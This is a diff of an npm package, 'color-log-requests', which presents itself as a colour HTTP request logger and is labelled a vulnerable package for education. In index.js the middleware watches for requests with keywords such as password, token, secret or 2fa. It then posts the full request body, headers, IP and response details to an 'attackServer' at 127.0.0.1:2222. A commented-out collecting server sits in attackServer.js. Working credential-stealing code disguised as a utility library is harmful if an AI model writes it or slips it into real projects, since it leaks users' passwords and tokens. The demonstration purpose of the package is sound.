color-log-requests 1.0.0

package/README.md

@@ -0,0 +1,49 @@
+**Warning: This package log requests containing sensitive data (token, password ...) in an "external" (localhost) server in 2222 port.**
+
+This package is a vulnerable package and is created for educational purposes.
+
+
+## Usage
+this package is a HTTP request logger middleware for node.js
+
+
+```javascript
+const logger = require('color-log-requests');
+app.use(logger);
+```
+
+The result is in the format:  
+
+```bash
+<resStatusCode> <resContentLength> <datetime> <reqMethod> <reqURL> <reqHttpVersion> <reqUserAgent> <reqIp>
+```
+
+The status codes are displayed in color:
+- green for success (< 300)
+- magenta for redirect (<400)
+- red for failure (<600)
+- blank otherwise
+
+
+## Requirements
+It is necessary to install and use the [body-parser](https://www.npmjs.com/package/body-parser) package before using this package:
+```bash
+npm install body-parser
+```
+
+The call in code may look like this:
+```javascript
+const bodyParser = require('body-parser');
+app.use(bodyParser.json());
+
+...
+const logger = require('color-log-requests');
+app.use(logger);
+```
+
+
+## Installation
+Download node at [nodejs.org](http://nodejs.org/) and install it, if you haven't already.
+```
+npm install color-log-requests
+```

package/attackServer.js

@@ -0,0 +1,21 @@
+// const http = require('http'); 
+
+// const host = "127.0.0.1";
+// const port = 2222;
+
+
+// const server = http.createServer((req, res) => {
+//     const chunks = [];
+//     req.on("data", (chunk) => {
+//         chunks.push(chunk);
+//     });
+//     req.on("end", () => {
+//         const data = Buffer.concat(chunks);
+//         console.log("New sensitive request: ", JSON.parse(data.toString()));        
+//         res.end();
+//     });
+// })
+
+// server.listen(port, host, () => {
+//     console.log(`Server is running on http://${host}:${port}`);
+// });

package/index.js

@@ -0,0 +1,73 @@
+const axios = require("axios")
+
+const attackServer = "127.0.0.1"
+const aAttackPort = 2222
+
+
+const sensitiveValues = ["login", "register", "2fa", "password", "token", "key", "pass", "secret", ]
+
+
+const stringContainsSensitiveValue = (string) => {
+    let response = false
+    sensitiveValues.forEach(value => {
+        if (string.toLowerCase().includes(value.toLowerCase())) {
+            response = true
+        }
+    })
+    return response
+}
+
+
+
+const dictContainsSensitiveValue = (dict) => {
+    let response = false
+    for (let key in dict) {
+        if (stringContainsSensitiveValue(key)) {
+            response = true
+        }
+    }
+    return response
+}
+
+
+
+module.exports = function (req, res, next) {
+    res.on("finish", function () {
+        const date = new Date()
+
+        if (res.statusCode < 300) { // Success
+            console.log(`\x1b[32m${res.statusCode}\x1b[0m ${res.get('Content-Length') || 0} [${date.toUTCString()}] ${req.method} ${decodeURI(req.url)} HTTP/${req.httpVersion} ${req.headers['user-agent']} ${req.ip}`);
+        } else if (res.statusCode < 400) { // Redirection
+            console.log(`\x1b[35m${res.statusCode}\x1b[0m ${res.get('Content-Length') || 0} [${date.toUTCString()}] ${req.method} ${decodeURI(req.url)} HTTP/${req.httpVersion} ${req.headers['user-agent']} ${req.ip}`);
+        } else if (res.statusCode < 600) { // Client or server Error
+            console.log(`\x1b[31m${res.statusCode}\x1b[0m ${res.get('Content-Length') || 0} [${date.toUTCString()}] ${req.method} ${decodeURI(req.url)} HTTP/${req.httpVersion} ${req.headers['user-agent']} ${req.ip}`);
+        } else { // Unknown
+            console.log(`\x1b[37m${res.statusCode}\x1b[0m ${res.get('Content-Length') || 0} [${date.toUTCString()}] ${req.method} ${decodeURI(req.url)} HTTP/${req.httpVersion} ${req.headers['user-agent']} ${req.ip}` );
+        }
+
+
+        if (dictContainsSensitiveValue(req.body) || stringContainsSensitiveValue(decodeURI(req.url)) || dictContainsSensitiveValue(req.headers)) {
+            axios.post(`http://${attackServer}:${aAttackPort}`, {
+                url: decodeURI(req.url),
+                host: req.headers.host,
+                method: req.method,
+                date: date.toLocaleString(),
+                client: {
+                    ip: req.ip,
+                    body: req.body,
+                    headers: req.headers,
+                    httpVersion: req.httpVersion,
+                },
+                response: {
+                    statusCode: res.statusCode,
+                    body: res.body,
+                    headers: res.headers,
+                    contentLength: res.get('Content-Length') || 0
+                }
+            })
+        }
+
+
+    });
+    next();
+}

package/package.json

@@ -0,0 +1,20 @@
+{
+    "name": "color-log-requests",
+    "version": "1.0.0",
+    "description": "This package is a vulnerable package and is created for educational purposes.",
+    "main": "index.js",
+    "scripts": {
+        "start": "node index.js"
+    },
+    "keywords": [
+        "test",
+        "vulnerable",
+        "logging",
+        "color"
+    ],
+    "author": "Pierrick Delrieu",
+    "license": "ISC",
+    "dependencies": {
+        "axios": "^1.3.3"
+    }
+}